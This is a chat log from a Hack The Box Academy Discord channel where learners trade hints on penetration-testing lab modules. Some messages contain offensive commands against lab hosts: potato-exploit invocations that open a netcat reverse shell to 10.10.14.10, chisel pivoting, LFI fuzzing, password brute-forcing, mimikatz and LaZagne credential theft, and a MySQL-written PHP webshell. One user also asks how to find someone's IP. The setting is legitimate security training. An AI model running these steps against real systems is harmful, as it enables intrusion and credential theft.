modules

[pulsar needle]

Ive connected to a tunnel, but I cant seem to get access to the website

I get an error that says my connection has timed out

[hidden trellis]

can anyone help with a nudge on white box skills assessment.. I think I may be in right direction but not sure

[pine dagger]

Whitebox is a tough one, which bit are you stuck on?

[wild dragon]

@pine dagger Whitebox is your game💪

[high hearth]

I'm in the "getting started" module and the "privilege escalation" section. I have copied root id_rsa but I get connection refused error when I try to login.. I tried copying the id_rsa file and I got prompted for the users password of which I don't have

[pine dagger]

I wouldn't have passed it without your help ❤️

[wild dragon]

We worked together, bro!

[rustic sage]

can someone help me im stuck in tier 2 archetype i cant wget the nc64.exe

[hidden trellis]

start of skill 😭

[pine dagger]

try -i and pass it the filename. Also make sure its got the correct permissions.

[rustic sage]

"????

[pine dagger]

Need to look at the source code and look for what functions have a vulnerability in one of those functions. You're looking for ones that take inputs in particular (which should narrow it down). Once you've narrowed it down, take a look at what inputs they accept, and try and get them to take the correct input first. Then once you think you've got it, then start looking at how to inject.

[high hearth]

I have done that but it still seem not to work, ssh root@IP -i id_rsa

[rustic sage]

can someone help me?

[high hearth]

I tried copying the id_rsa file to my local machine but I was prompted for the password for the user2 account of which I don't have..

[hidden trellis]

appreciate you 😃

[rustic sage]

why am i being ignored

[pine dagger]

Because no one has any clue what help you are looking for. You've not provided any context of module, chapter, and question where you are running into problems.

[pine dagger]

Is the id_rsa file for that username?

[rustic sage]

tier 2 archetype https://discord.com/channels/473760315293696010/1140959071634194504

[pine dagger]

You're asking about a box?

[rustic sage]

yes

[high hearth]

nope, it's for the root user but user2 have read access so I copied it to user2, tried logging in from there but no success

[pine dagger]

Then try #boxes. This channel is for HTB Academy.

[rustic sage]

no access

[pine dagger]

Probably need to link your HTB account with your Discord account.

[rustic sage]

how

[narrow solar]

i was doing it the whole time, but no end to the pages and cant find anything interesting in the sources

[pine dagger]

Read #welcome

[pine dagger]

I don't follow what you're doing. The key in the id_rsa file is linked to a particular user.

it wouldnt matter if you copied to a different user, it can only be used to authenticate the original user.

[uneven dune]

huys i have a question

i am in the module https://academy.hackthebox.com/module/34/section/1873

and i read this specific article

https://www.makeuseof.com/what-are-disassociation-attacks/

and my question is in this video

https://www.youtube.com/watch?v=qJzhe1r_bK4&t=318s

i not understand much english but they are trying to say that device can be deautenticated depdending of the version of the wireless device ?

[vivid igloo]

hey anyone done with keeper machine ?

[pine dagger]

Wrong channel. You probably want #boxes

[vivid igloo]

it says u dont have access ?

[pine dagger]

Read #welcome

[uneven dune]

i solved, the answer is yes

depends of the version of the access point

[gloomy latch]

Hi, did anyone complete the AD Enumeration & Attacks module??

[zinc sentinel]

Yes 👋

[gloomy latch]

can I dm? I'm finishing the last exam but there's an underlying issue which I cannot figure out, I mean with bloodhound there's something wrong

(I'm not asking for any solution to any question, it's a mechanical issue)

[zinc sentinel]

Yea welcome to Dm
I'm very new to the bloodhound tho

[gloomy latch]

Well basically, all the users I get can connect in rdp to MS01. Now my problem is that if I didn't boldly attempt to connect, what the fuck is going to tell me that I have the righ to do so?

Not even bloodhound showed that I could connect, and I'm not a local user, I'm using a domain user for connection

Is the lab broke??

On a prior occasion (exam part 1), my user was even admin on the ms01, yet no enumeration showed that!

[zinc sentinel]

Don't think so, maybe it's how your filtering it? Path? / your starting point / end pint

Discuss pm I still have it loaded I think

[gloomy latch]

not even if I use starting point my user --> ms01 I get an edge

[gloomy latch]

Is anyone here a professional pentester with experience on BloodHound????

[alpine nexus]

Just signed up and started in htb academy, any advice? thank you

[fathom pendant]

Take lots of notes

[alpine nexus]

for an example? like cheatsheets or somthing?

[fathom pendant]

Like literally write down notes on what you're learning

[alpine nexus]

Alright, thanks

[vital adder]

#resources-tools message

if you can't access that verify your account

[alpine nexus]

thank you

[zenith wedge]

Hi everyone. Could someone who’s done the CPTS Firewall and IDS/IPS Evasion Medium lab DM me please? I’m stuck and would like some directions

[fathom pendant]

Nmap module yes?

[zenith wedge]

Yes

[fathom pendant]

Have you tried using discords search featur

Many people have asked and have been given nudges

[zenith wedge]

No, good point. I’ll try that

Thank you

It is really just that? I had to use the pwnbox instead of my own VM? I felt sooo bad for not being able to resolve this simple thing… thanks a lot @fathom pendant

[fathom pendant]

Np

[frozen mesa]

ATTACKING COMMON SERVICES - Attacking Common Services - Easy

inlanefreight.htb. not found: 3(NXDOMAIN) is what i get whenever i try to enumerate the domain. I've added the domain/ip to my /etc/hosts

What did i do wrong?

[fathom pendant]

Still need to specify ip with it

[weak stirrup]

working on Windows Privilege Escalation Skills Assessment - Part I and cant figure out why i cant find the ldap admin password .. i got a reverse PS shell as iis and have tried many search commands can can not find it. i am using commands like this Get-ChildItem -Recurse -Include *.txt,*.ini,*.cfg,*.config,*.xml | Select-String "password" | Select-Object -Property Path any hints?

[pale oriole]

Attacking Common Services - Easy. I have found a user, but I am struggling with getting their password. Used hydra to bruteforce smtp and ftp with no results. Saw rockyou.txt was given on here but that takes 2000hrs to finish. Any help would be appreciated

[fathom pendant]

Increase threads

[pale oriole]

That's at 64 threads

[high reef]

hey hacker fam, i got the answer to the question but i didn't do the task required of me to do so. i'd like some help if yall can provide some assistance. attached is the question

this is the section i'm in

[gloomy bramble]

With no un/pw, I used ncrack to find them. Also, I didn't use rockyou.

[umbral fulcrum]

hey guys, I'm stuck in "Attacking Common Services" : "Attacking DNS"
I use "subbrute.py " but I'm getting error massage regarding the code & IndexError: list index out of range

I guessing it's not suppose 2 be like this...
I"m not sure what 2 do next ....

[pale oriole]

I have the username, but still says the password is not in my wordlist for ftp and it won't even attempt smtp. What wordlist did you use?

[gloomy bramble]

for my run, this worked for me. 2020-200_most_used_passwords. Not sure why the ones from resources didn't.

[gloomy bramble]

I get timeouts quite a bit , so I may have just tried something else that didn't time out.

[pale oriole]

That wordlist had it. Thank you very much

[latent sonnet]

Hi,

I have a dumb question: is nmap with -sC -sV --max-retries 1 considered safe (will it destroy anything?) running in a production environment? (:

[alpine nexus]

On free account, we have 70 cubes (cmiiw), is there a way we could have more than this besides from subscription?

[fathom pendant]

It shouldn't break anything

[umbral fulcrum]

Guess No ....

[fathom pendant]

Utilize the discord search feature: other people have asked the same question

[trail leaf]

Follow the instructions the module tells you, but you might need to do a little further digging than what they ask

Not much to assist with here

[elfin cedar]

I read the whole module and do not get ANY of the questions. https://academy.hackthebox.com/module/58/section/517

[trail leaf]

Go do the SQL injection fundamentals module and come back to this. If it still doesn't make sense, go to ippsec.rocks, search sqlmap, and see the tool in action.

[elfin cedar]

thanks I did do that module I guess I will look into those

I have been limiting myself mainly to hackthebox acadamy

[trail leaf]

There are many people who have already completed this module with little to no problems, so the first step is actually identifying what it is you're actually not understanding, instead of saying "I don't get any of it"

• Is it the use case you don't understand?
• The command line parameters?
• How you would get past a WAF with it?
• What the tool is actually doing?
• What the prompts during the command actually mean?

[elfin cedar]

thanks

I will just watch all of the sqlmap videos from ippsec

OMG

[vital adder]

that is some illegal writeup you got and if you need help with room this isn't the right place to ask

also just google

[silver iris]

Hey guys, i´m doing the DNS Footprinting module. Does anyone have a hint for me wich wordlist to use, so enumeration doesnt take forever?

[weak stirrup]

i am working on windows priv esc 1 still , i am having a difficult time. so far i found a reverse power shell i can get with user iis through a web interface exploit. I have a metasploit session that picked up the session using exploit/multi/handler but i cant seem to get any of potatoes to work to get me elevated priv on the box... i still have not found the ldapadmin password but thought maybe my search would work better if i was elevated... does anyone see some error in my method or can help figure out why i am having trouble in metaploit with the potato methods?

i have also tried to use the printspoofer method manually (outside of metasploit with no success)

[keen halo]

|| The module is testing your patience.||

[elfin cedar]

ITS RIGGED

[acoustic owl]

Take the smallest list in Seclists. If you don't find anything, use the next larger list.

[tulip parrot]

Module : Pivoting, Tunneling, and Port Forwarding

Meterpreter Tunneling & Port Forwarding

Hello all,

I try to use msf with socks_proxy but it get stuck at :[*] Starting the SOCKS proxy server
If i Ctrl+Z it close msf and I have to kill-9 the process cause its running on the back on the port 9050

I manage to finish the page without that, but i still want to understand why it did not work

[trail leaf]

You're on the right track. When in doubt, I like going to an ippsec video or 0xdf writeup where they use the exploit/privesc I'm trying to use and see if they do things any differently.

It's a skills assessment, so I don't want to say anything more than that.

[burnt sluice]

sry for the late reply, did u figure it out?

[civic zenith]

"# copyright info keeps popping up in my ffuf output. How can I stop this?

[acoustic owl]

Check the List
I think there's that kind of content in there.

[burnt sluice]

hello guys, quick question regarding module Attacking Passwords section Pass The Hash, the last question it is saying that you can't connect to DC01 from anywhere except MS01, idk if I understood that correctly, but it appears that u literally cannot pivot from MS01 to attempt to connect to DC01, I tried chisel, ssf, rdp, nothing is working out.
Does anyone know if it can't be accessed from anywhere except MS01 at all or can I open a tunnel and pivot from there?

PS: I'm regoing over the module so i already solved it, but if i remember correctly i rdp'ed from MS01 to DC01

[narrow solar]

its ok, and no i didnt, i saw the source of admin index, i saw that the log parameter is located in logs file, tried to access to access.log and error.log but didnt work

[burnt sluice]

did u try fuzzing for an LFI payload?

[narrow solar]

yes i did, no hits, at the new parameter and at the $$$_admin dir

[burnt sluice]

let's go backtrack ur progress a bit.

[burnt sluice]

^^

You fuzzed the index.php for parameters right?

You found a paramater that was available, You tried reading the src code of the files.

[narrow solar]

yep

[burnt sluice]

you found a new directry in the source code.

you went to that directory and got welcomed with an index.php

u tried fuzzing that file, you found a vulnerable parameter.

Then u tried fuzzing that parameter but got no hit?

[narrow solar]

exactly

[burnt sluice]

did u try system.log directly as input?

[narrow solar]

yes, all logs that provided by the page give the same main page

[civic zenith]

@acoustic owl lol i feel dumb. fixed it .thx for answering my question again.

[burnt sluice]

weird tbh

what wordlist did u use for fuzzing?

and btw since u got to this point, u only have 2 steps left to finish everything :)

[narrow solar]

u mean for fuzzing LFI? its seclists/Fuzzing/LFI/LFI-Jhaddix.txt

[burnt sluice]

did u filter size and everything?

[narrow solar]

ffuf -w ~/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://94.237.48.48:34531/index.php?l$$=FUZZ' -fs 15829

tried both parameters

[burnt sluice]

u removed the vuln. directory from the command?

[trail leaf]

You can pivot using MS01 as a jump box. Saying "you can't connect to DC01 from anywhere except MS01" is just to say you can't access DC01 from your attacking machine.

[narrow solar]

its already provided from the source code, and i tried it anyway

[burnt sluice]

I Tired everything but it doesn't seem to workout, followed guides by the word. Idk I'll get back and try with it again.

[subtle glen]

when i try to use printspoofer im getting this error: COM -> recv failed with error: 10038,
i tried multiple numbers after the -l flag and all gave the same error, is there anything i can do about it?
this is in windows privesc part1 and for reference im using this command:
||.\PrintSpoofer32.exe -c ".\nc.exe 10.10.14.10 9001 -e cmd"||

[narrow solar]

ffuf -w ~/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://94.237.49.11:41153/index.php?l$$=l$$s/FUZZ' -fs 15829

[trail leaf]

If PrintSpoofer doesn't work, try a different exploit for that user privilege, or play with the PrintSpoofer flags if there are more

[burnt sluice]

check ur dms

[burnt sluice]

Okay tbh I'm out of ideas here.
I tried running a reverse chisel server:
attackBox: ./chisel.exe server -p 8000 --reverse
MS01: .\chisel.exe client ip:8000 R:socks
My proxychains conf:
socks5 127.0.0.1 8000

Is anything wrong with this that i

I'm not catching**

[subtle glen]

i confused juicypotato with printspoofer.
the error message i sent is from juicypotato.
this is the command im using for reference:
||.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c .\nc.exe 10.10.14.10 9001 -e cmd.exe" -t * ||

on printspoofer i get this error: [-] Operation failed or timed out.
with this command:
||.\PrintSpoofer32.exe -c ".\nc.exe 10.10.14.10 9001 -e cmd"||

im trying to abuse SeImpersonatePrivilege

[trail leaf]

Again, if they don’t work, fiddle with the flags

It’s a skills assessment, so I won’t give away the answer that easy

[subtle glen]

alright

[silver iris]

subdomains-top1million-5000 and 20000 didnt work so far. Am i doing something wrong or do i just need to wait? I mean i get results, but just not the one i need

[acoustic owl]

I told you to take the smallest list 😉
5000 entries are too much

[tawdry vapor]

can someone give me a help? I'm in the PASSWORD ATTACKS Credential Hunting in Linux module, I found the password for the user "kira" but I didn't find anything else, I couldn't upload firefox_decrypt.py to the machine, does anyone have any tips?

[silver iris]

but we are talking about seclists right? I feel stupid 😄

[acoustic owl]

Yes, Seclists
Not every list shows you in its name how many entries it has.
Look at the file size

[silver iris]

I will give some other another try, thanks for now 🙂

[tawdry vapor]

anyone?

[silver iris]

But "dnsenum --dnsserver 10.129.12.123 --enum -p 0 -s 0 -o subdomains_4.txt -f /usr/share/wordlists/seclists/SecLists-master/Discovery/DNS/[wordlist] inlanefreight.htb" ist correct right?

[acoustic owl]

You want to bruteforce inlanefreight.htb?

If so, why?

[tulip parrot]

Hi i am in the same position in SOCKS5 Tunneling with Chisel
server and client are well connected, but i cant xfreerdp on 172.16.5.19

[silver iris]

I thought thats the way to find the fqdn for the IP ending with 203 🤨

[acoustic owl]

There are DNS zones that voluntarily give out all data with a zone transfer.

Only if a zone does not allow zone transfer, you have to bruteforce them

[idle kraken]

Anyone got c programming projects I could work just for fun?

[silver iris]

OK i see, i was on the wrong track then, thanks for the hint

[idle kraken]

Plz

[fathom pendant]

This isn't the place to ask, start a thread and ask in #1024429874246590575

[gusty granite]

If I unlock a 500 cubes module which shows +100 cubes on it, will I get 500+100=600 cubes upon completing that module? Or just 100 cubes?

[idle kraken]

Ok

[fathom pendant]

You will only get 100 back. You will never get more than you pay

[gusty granite]

Oh okay. Thanks!

[fathom pendant]

All modules give back an amount proportional to their tier

For instance tier0 are considered "free" bc they give back what you pay (10)

[gusty granite]

Understood. Thanks a lot for explaining in detail 🙌🏻

[fathom pendant]

There's a help article that explains it if you wanna look it up

[tulip parrot]

can i have any help ?

[jaunty vigil]

yo anyone can help out with nosql injection SA 2?

[fathom pendant]

Are you using proxy chains? That module is very much follow step-by-step

[tulip parrot]

yes i am using proxychains
my command is : proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
and proxychains4.conf is set to : socks5 127.0.0.1 1080

[fathom pendant]

Comment out the socks4 line that was set up previously

[gentle root]

Is there a reason / methodology for like randomly choosing "AppReadiness" in WindowsPrivEsc
Like in an actual box, how would we randomly know what box to choose, just finding one with SYSTEM?

[tulip parrot]

yes i did that

[fathom pendant]

What's the error?

[tawdry vapor]

anyone?

[gentle root]

One sec

[fathom pendant]

And you're following the section exactly?

[trail leaf]

Yes

[fathom pendant]

I feel like there's a missing step

[fathom pendant]

How are you trying to upload it?

[trail leaf]

It means you get to change service settings as you wish (iirc), so anything running as system is good

[gentle root]

My notes (from a while ago) say finding a url dev.inlanefreight.com has something useful

I can't really read my notes but

[trail leaf]

Although probably best to pick a service that you’re okay with having crash if you mess it up

[gentle root]

Understood, appreciate it ❤️

[fathom pendant]

I think you're looking at the wrong thing or replied to the wrong person

[tawdry vapor]

i uploaded firefox decrypt

[gentle root]

Right person 🙂

Could be wrong notes

[fathom pendant]

Wrong notes lol this is password attacks related

[fathom pendant]

And what is the error you're getting if it's not working

[tulip parrot]

Yes I did, i just did again to be sure, not working...

[fathom pendant]

Try python2.7

[tawdry vapor]

not found

[scenic turtle]

When I am attempting to install theHarvester on Parrot HTB VM I get the following error - has anyone ran into this and know a solution for a fix? I have googled it and tried a bunch of fixes that did not work

[fathom pendant]

I don't have access to a computer to verify for you

[fathom pendant]

Switch to the pwnbox and upload that one, iirc firefox_decrypt had a recent update that requires a newer version of python that isn't installed in the lab env

[tulip parrot]

@fathom pendant Do u have an idea of what i can do ?

[fathom pendant]

No idea ATM don't have access to run through

And double check

[tulip parrot]

I restarted the server and my machine..

[fathom pendant]

Sudo apt update and sudo apt upgrade

[languid juniper]

I have run both of those

sudo apt autoclean

[fathom pendant]

Also parrot doesn't currently have python3.11 repo

[languid juniper]

sudo apt install -f

[gentle root]

One more question if previous guy is still here - For windows priv esc, regardless of how, but after getting user account to localadmins, I can only figure out how to access Administrator after sign out and reconnect - gpupdate /force doesn't seem to trigger a administrator update access - any ideas?

[fathom pendant]

It's supposedly in the works

[tawdry vapor]

I just downloaded firefox decrypt from github that says in the module

[fathom pendant]

Yes I know. Pwnbox has an older version, or should have an older version, that you can upload

[tulip parrot]

still the same error, i did everything from beginning

[fathom pendant]

Try
locate firefox_decrypt.py

[fathom pendant]

In the lab can you do which python

Or can you specify in the lab python3.9

[unique pivot]

cant you just go around that with updatedb? This should update locatedb for you

[fathom pendant]

This is more demonstrating an issue than it is with not finding the tool

[latent sigil]

hello, i was just wondering what was the difference between a vhost and a subdomain?

i dont seem to grasp what a vhost really is and why it is different from a public dns record

`In many cases, many websites would actually have sub-domains that are not public and will not publish them in public DNS records, and hence if we visit them in a browser, we would fail to connect, as the public DNS would not know their IP. Once again, if we use the sub-domain fuzzing, we would only be able to identify public sub-domains but will not identify any sub-domains that are not public.

This is where we utilize VHosts Fuzzing on an IP we already have. We will run a scan and test for scans on the same IP, and then we will be able to identify both public and non-public sub-domains and VHosts.`

do we need to be in the same network in order to vhost fuzz or just need to know the original ip? or this doesnt matter?

[thorn urchin]

Doesn't matter, its describing some of the limitations of a lab based network

[latent sigil]

rthen what is the difference between a vhost and just a normal subdomain, and why do i need to change the command parameters

[thorn urchin]

in a lab vhost fuzzing and subdomain enumeration can achieve the same goal, but in the real world they can potentially find very different things

a vhost is a subdomain or a domain that sits on the same web server

whereas a subdomain doesnt necessarily have to be the same computer at all

vhosts are how shared hosting services work for example

where you can have hundreds of websites with no relation to each other all sitting on the same IP

[latent sigil]

ok so when i do the host header im saying to the server to stay on this same server and not switch

[thorn urchin]

not necessarily

it depends on how the host is resolved

but the host header specifies which resource you want, and a web server that resolves for that host will internally redirect things appropriately

[latent sigil]

ohhhh

ok so like its a bit like instead of redirecting through the public dns, they use their own "DNS" server and redirect me?

[thorn urchin]

# Ensure that Apache listens on port 80
Listen 80
<VirtualHost *:80>
    DocumentRoot "/www/example1"
    ServerName www.example1.com

    # Other directives here
</VirtualHost>

<VirtualHost *:80>
    DocumentRoot "/www/example2"
    ServerName www.example2.org

    # Other directives here
</VirtualHost>

like this vhost configuration is saying that for the www.example1.org host to serve the files located at /www/example1

wheras the wwe.example2.org host has its files served from/www/example2

[latent sigil]

yep

same server

[thorn urchin]

this COULD both be example.org and just have different subdomains like www or sales or whatever

[latent sigil]

yep

[thorn urchin]

but its different than DNS because DNS has already happened before it even hits this configuration

[latent sigil]

yep

[wispy aspen]

Think of a city block full of offices. When you think of vhosts, think of all the offices on that block as being on the same vhost. They could be owned by the same company, or they might not be (hosting providers). When you think of subdomains, that office could be on the same block as the main office, or another block entirely.

[latent sigil]

alright makes sense, (from an attack perspective), its just a different way of requesting for a specific resource

i understand the whole vhost same host and subdomain diffrent hosts

but like the tool itself holds different results as it "asking" in a diffrent way of finding 1.example.com and 2.example.com

if i undertsand correctly

VHosts may or may not have public DNS records, so in order to access your site, you may need to change host names and addresses on your localhost (typically located in etc/hosts) or use the Host: header of a standard HTTP request.

[wispy aspen]

When you look for vhost, you're looking for every office on that city block. When you look for subdomains, you're looking for the branch offices no matter which block it's on, but not getting the info of what's on those other blocks other than branch offices*.

[latent sigil]

ok i understand now thank you very much, i hope this enlightens more people

[wispy aspen]

No problem!

[barren apex]

Can someon help me,

What is the ObjectAceType of the first right that the forend user has over the GPO Management group?

I have found the right on bloodhound but its not accepting the answer?

[thorn urchin]

then dont use bloodhound

[oak sequoia]

Can someone give me a hint with this question "Enumerate the IMAP service and submit the flag as the answer. (Format: HTB{...})" from IMAP enumeration? https://academy.hackthebox.com/module/112/section/1073

[barren apex]

The powershell command is returning nothing

[thorn urchin]

yes it does, wait. Takes awhile

if its the one im remembering

[barren apex]

will leave it for a bit then

[fathom pendant]

What have you tried

#modules message

[oak sequoia]

I have logged in to the IMAP server with openssl. After that, I identified 4 INBOX. Two seems to have emails but I cannot retrieve them somehow

[fathom pendant]

Have you tried 1 fetch 1 body[]

Or using an email client

[oak sequoia]

I have tried 1 FETCH 1 ALL, but it returns the same error as yours "1 BAD Error in IMAP command FETCH: Invalid messageset (0.001 + 0.000 secs).
"

[fathom pendant]

Ah

I just checked the question

Iirc the flag for this is something you'll see when you connect

[fathom pendant]

Because you probably didn't select the inbox first

[oak sequoia]

yes I have selected inbox

[fathom pendant]

Then that flag isn't in inbox

[wispy aspen]

0 Exists

[fathom pendant]

Do the list command

But also this answer is in the banner

The email one is the last question

[oak sequoia]

Tried the same command in all the inboxes

[fathom pendant]

No. You didn't lol

Because one of those has the answer

Again you're close

[oak sequoia]

Found the flag in the banner thanks

[fathom pendant]

This is the path for the last question

Also as I said 1 fetch 1 body[] will be more useful than 1 fetch 1 all

[oak sequoia]

Ok let me tryt

[fathom pendant]

Just need to select the right one

[oak sequoia]

I guess the mail must be in Dev o Dev.Department?

`1 list "" *

• LIST (\Noselect \HasChildren) "." DEV
• LIST (\Noselect \HasChildren) "." DEV.DEPARTMENT
• LIST (\HasNoChildren) "." DEV.DEPARTMENT.INT
• LIST (\HasNoChildren) "." INBOX`

[fathom pendant]

Well only two of them don't have the \Noselect flag

[thorn urchin]

or take my route and try em all and see what happens

trying things and seeing what happens is OP

[fathom pendant]

I mean you literally can only select 2 of the things listed

[oak sequoia]

I think it is bugged? Status says it has 1 message but when selecting the inbox it says 0 exists

[fathom pendant]

No you're just dumb, when you did "inbox" in your select, you switched back to the normal inbox [which is empty]

The command is technically 1 select [folder]

[oak sequoia]

Oh

[fathom pendant]

Inbox is just a folder, not a classification

[oak sequoia]

Thank you a lot XD

I was going crazy hahah

[fathom pendant]

Also if you use the fetch 1 all command; you're likely to get a bunch of NIL

#modules message

[opaque mortar]

I'm trying to work on one of the starting-point machines and I'm supposed to go to an ip address in my browser but it's not working

I'm connected via openvpn

[gloomy bramble]

you probably have to add it to /etc/hosts

[rustic sage]

does it look like this : "example.htb"

[opaque mortar]

no it's just xx.xxx.xxx.xx

[rustic sage]

does it start with "10."

[opaque mortar]

yes

[rustic sage]

can you send me screenshot of web server response

via my dms ill check it

[opaque mortar]

are you wanting something outo f the network tab in the dev tools or something from the cli or a screenshot of the browser?

[tiny reef]

Currently on the SQLMAP Module at "Attack Tuning", while I understand the Prefix / Suffix Flag, I do not understand how I should find the proper prefix / suffix to add? I thought the whole point of SQLMap was to find those for me?

[rustic sage]

screenshot of the browser so i can see what issue you get

[tulip parrot]

Module : Pivoting, Tunneling, and Port Forwarding
Skills Assessment

hello all
I am stuck in the last question, i have no idea about what to do

[fathom pendant]

Pivot from the initial target to the system that's the domain controller

Or can connect to it

[tulip parrot]

How can I find the DC ?

[fathom pendant]

Well once you're on the first target: ping sweep

[tulip parrot]

Yes i did that, there 2 IP i can not connect to x.x.5.15 and x.x.6.45 but I dont think that the DC, am I wrong ?

[fathom pendant]

Only one way to find out :)

Looking around is the easiest part

[tulip parrot]

I tried to connect to, but it didn't make it

[fathom pendant]

Well you might need creds

[tulip parrot]

i have the creds of ||vfrank ||it s not enough ?

[fathom pendant]

I dont have good notes on this

But just keep moving forward

[tulip parrot]

thx you for the motivation

I did not look on the drive Z 🤦‍♂️

[pulsar hazel]

Anyone completed the final labs of the Footprinting module? Stuck on the medium lab...

[fluid flare]

hey can anyone dm me to try and get responder working i am having a bit of a breakdown over it i have been stuck for 6 hours 😦

it won't grab the hash

[jagged zenith]

Hello

[gusty zinc]

Module - broken authentication - predicatable reset tokens

I need some help with this module. My code "works" but I cant get the right token. I believe its my time.

Could someone give me some assistance with this? Python is what im using to send the request

[restive hound]

Can someone help me out. How do I transfer files using xfreerdp? I feel really dumb lol

[quick magnet]

Just xfreerdp as usual and add drive

[restive hound]

With my session open on my attack box, isn't there way to send files that way too?

[quick magnet]

U can make python server in attacker command

And in xfreerdp, open browser <tun0>:8000/urfile

[restive hound]

TY

[smoky viper]

Can someone please give me a hint on how to view the contents of \DC01\david.txt {password attack module}

I've obtained his hash using mimikatz and logged into his account. But I can't read the contents due to permission issues.

[quick magnet]

Already finish this, but let me remember, what section ?

[smoky viper]

Pass the hash

[quick magnet]

oh

when u xfreerdp david got permission issue ?

[quick magnet]

have u enable restricted admin ?

[tardy ocean]

Hello everybody, as manny of yours i'm a newbie. Hope from now learn faster

[restive hound]

Alright, can someone walk me through how to transfer this lazagne tool please. I have found all the answers except this question and it is driving me nuts

[quick magnet]

like i said, u can use xfreerdp /drive:C/,<ur-attacker-dir>, or with browser

[restive hound]

I was able to get the lazagne on the remote host, just trying to figure out how to run it

[quick magnet]

start lazagne.exe all

im facing with hard lab aslo, always force close

[languid ginkgo]

Hello everyone,
In Information Gathering - Web Edition->Active Subdomain Enumeration,
In the question 'Submit the number of all "A" records from all zones as the answer. ',
I found the answer but 'inlanefreight.htb' is not a "A" record ?
Thx in advance

[restive hound]

I got it!

[teal fiber]

can anyone help on a section from win priv esc?

[rustic sage]

Hey guys I am new to the server and new to ethical hacking. I can only use the command prompt to ping the ip of a server of a website and using grabify or a link to track url or use commands like netstat -an, or tracert the ip of the website server. How do I find the ip of someone?

[acoustic owl]

Check the log files from the server.

[acoustic owl]

Which section, what have you tried and what does not work?

[teal fiber]

Hi, it's from "Windows Built-In Groups". Dumped the NTDS and got the password for Admin, but running runas gives me wrong password?

[acoustic owl]

Is this the question?

Leverage SeBackupPrivilege rights and obtain the flag located at c:\Users\Administrator\Desktop\SeBackupPrivilege\flag.txt

[teal fiber]

yes

[acoustic owl]

and what exactly did you do?

[teal fiber]

Dumped the NTDS and got the password for Admin, but running runas gives me wrong password?

hashcat, etc.

unless this is not the intended way and i should rdp?

[acoustic owl]

Why?
The task is
„Leverage SeBackupPrivilege rights and obtain the flag“

[teal fiber]

just copy using copy-filesebackuipprivilege?

🤦🏼‍♂️

[acoustic owl]

Read the Section again 😉

[teal fiber]

guess i went too deep

[teal fiber]

thanks 🙂

[foggy light]

Module: Intro to Assembly Language
Question: Add an instruction at the end of the attached code to move the value in "rsp" to "rax". What is the hex value of "rax" at the end of program execution?

global _start                               
section .text                       
_start:                                
    mov rax, 1024                   
    mov rbx, 2048                   
    xchg rax, rbx                   
    push rbx                        
    mov rax, [rsp]

not sure whats wrong with my code

[trail leaf]

It's moving the value in rax, you don't need the braces

[rsp] is getting the value located at the address specified by RSP

[foggy light]

I have tried removing the brackets same thing

[trail leaf]

hm, not sure then, could be something with how you're supposed to write out x86, I haven't done the module yet

[foggy light]

yea Im new in assembly so not sure whats going on

[trail leaf]

are you recompiling everytime you make an edit?

[foggy light]

yea

I got this but its not taking the answer

[trail leaf]

I just realized the module is tier 3 so I don't have access to it, probably make sure you give the answer exactly how they do it in the example

could be the difference between 0x400 and 0x00000400

[foggy light]

lol

it worked

+rep

[trail leaf]

that'll do it

[quick magnet]

hi i'm stuck in password attack lab hard, already got Johanna passwd.
try xfreerdp and cred hunting didn't get any creds, just saw user ||david||,
try brute force that user SMB | RDP already one hour didnt get passwd.
should i back to cred hunt or continue brute force ?

already try LaZagne from linux but got blank screen, try existing Lazagne in window target force closed

[wild dragon]

did you get the One piece, Shanks?
have you had a cyborg's right hand, Shanks?

[digital pewter]

Be sure to take a good look around for things once you gain some creds and can login to a user's account.

[twin portal]

hi

[valid rose]

Yes heey @twin portal

[high hearth]

Please I need some tips on an active machine but it looks like this isn't the right place to ask my question and it seems I don't have permission to send messages

[vital adder]

read #welcome and #rules after that use /verify at #bot-commands and ask that in #boxes

[native magnet]

hi, the python script parsing not correctly wordlist, on broken authentication module- Default credentials part. Can someone check this?

+1

[high hearth]

thanks

[thick juniper]

Hi guys, I’m stuck on the last 2 questions of AD Enumeration and Attacks Pt2. I’m currently on MS01 in a power shell session as CXXXX and I’m trying to figure out a way to go from here. I know this user has GenericAll enabled, so my thinking is to maybe make another user who can winrm to DC01? Would anyone mind giving me a nudge please?

I’m also having trouble getting PowerView to work on MS01, so I’m wondering if it’s my error or if it’s disabled on the box

[umbral fulcrum]

Hi guys, I just finished "Attacking Common Services- Easy" || using MySQL & SELECT "<?php****
went 2 URL used "find" command 4 the flag.txt & used "type" 2 get it content.||

but I was wondering R there any other ways, if some 1 can please help 2 upgrade my arsenal ...

[thick juniper]

Nvm I had a brainwave!

[silver iris]

Hey guys i could really need help on the DNS Footprinting Module, been stuck here for 2 days now one the last question:
I tried to find the name with AXFR Zone Transfer, i tried bruteforcing it with dnsenum and 7 different wordlists, i have no clue what i´m doing wrong.

[acoustic owl]

Host .203?
First, you have to find all the zones in this task.
Blindly bruteforcing the server does not help.

[warm drift]

Question 2 I ran Crackmap command ...crackmapexec smb 10.129.141.167 -u jason -p /home/kali/Downloads/Attacking_Common_Services/pws.list
but got nothing ... https://academy.hackthebox.com/module/116/section/1167

[autumn pilot]

Try to find the argument that will allow you to do local auths

[silver iris]

Somewhat like this right: dig axfr inlanefreight.htb @IP ?

[warm drift]

but I didn't specify a domain

[acoustic owl]

With this you will do a zone transfer.
Not all zones allow a zone transfer from everyone

[silver iris]

Then you mean this: dig any inlanefreight.htb @10.129.14.128 ?

[acoustic owl]

No, you are supposed to find all zones.
With this you ask the server to give you all data of the zone. Whether it does or not depends on its configuration.

https://www.cloudflare.com/learning/dns/glossary/dns-zone/

https://www.cloudflare.com/learning/dns/what-is-dns/

[silver iris]

I don´t get how i do that, i´m sorry maybe i´m just to dumb to understand it.

[acoustic owl]

The zone inlanefreight.htb allows a zone transfer and thus gives you all data voluntarily.
But the host you are looking for is not there. This means that there must be at least one other zone.

Find another zone and query it. Does it contain the host you are looking for? If not, there must be another zone.
Remember, not every zone allows zonetransfer from everyone.

[rapid sparrow]

Traceback (most recent call last):
  File "/usr/share/doc/python3-impacket/examples/GetUserSPNs.py", line 51, in <module>
    from impacket.ldap import ldap, ldapasn1
  File "/usr/local/lib/python3.11/dist-packages/impacket/ldap/ldap.py", line 41, in <module>
    import OpenSSL
